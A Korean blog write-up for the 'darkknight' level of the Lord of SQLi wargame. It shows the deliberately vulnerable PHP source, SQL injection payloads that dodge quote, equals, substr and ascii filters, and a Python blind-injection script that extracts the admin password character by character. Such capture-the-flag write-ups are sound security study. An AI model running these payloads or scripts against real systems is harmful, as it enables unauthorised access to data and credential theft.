Notice
Recent Posts
Recent Comments
«   2025/08   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31
Archives
Today
Total
관리 메뉴

Tyojong

[LOS] darkknight 본문

web/LOS

[LOS] darkknight

Tyojong 2025. 8. 8. 18:14
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>

 

문제 목표

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");

pw가 일치해야하고

if(preg_match('/\'/i'$_GET[pw])) exit("HeHe");
pw파라미터로 들어온 문자열 중 작은따옴표가 필터링 된다.

if(preg_match('/\'|substr|ascii|=/i'$_GET[no])) exit("HeHe");

no파라미터로 들어온 문자열 중 substr과 ascii함수가 대소문자 구분없이 필터링되고 작은따옴표와 등호가 필터링된다.

 

문제 해결

작은따옴표의 경우 큰따옴표로 대신해서 사용 가능하고 등호는 like로 우회가 가능하다.

?no=1 or id like "admin"--

 

ascii대신 ord함수로 사용 가능하다. 사용법은 동일하다.

?no=1 or id like "admin" and ord(pw) > 32--

 

이전문제와 다르게 substr문자열이 들어있으면 필터링 하기 때문에 substring 불가능하다.때문에 substring대신 mid로 사용가능하다. 사용법은 동일하다.

?no=1 or id like "admin" and ord(mid(pw,1,1)) > 32--

 

import requests

prob_id = "darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"

cookies = {"PHPSESSID": "세션 값"}

pw_len = 1

while True:

    payloads = f'?no=1%20or%20id%20like%20"admin"%20and%20length(pw)%20like%20{pw_len}--+'
    url = f"https://los.rubiya.kr/chall/{prob_id}{payloads}"

    response = requests.get(url, cookies=cookies)
    if "Hello admin" in response.text:
        print(f"password length : {pw_len}")
        break
    else:
        print(f"password length : {pw_len}", end='\r')
        pw_len = pw_len + 1


pw = ""


for i in range(1, pw_len+1):
    for pw_ascii in range(32, 127):
        payloads = f'?no=1%20or%20id%20like%20"admin"%20and%20ord(mid(pw,{i},1))%20like%20{pw_ascii}--+'
        url = f"https://los.rubiya.kr/chall/{prob_id}{payloads}"

        response = requests.get(url, cookies=cookies)
        if "Hello admin" in response.text:
            pw = pw + chr(pw_ascii)
            break
        else:
            print(f"password : {pw}{chr(pw_ascii)}", end='\r')

print(f"\rpassword : {pw}")

'web > LOS' 카테고리의 다른 글

[LOS] bugbear  (0) 2025.08.09
[LOS] golem  (0) 2025.08.06
[LOS] skeleton  (0) 2025.07.25
[LOS] vampire  (0) 2025.07.25
[LOS] troll  (0) 2025.07.25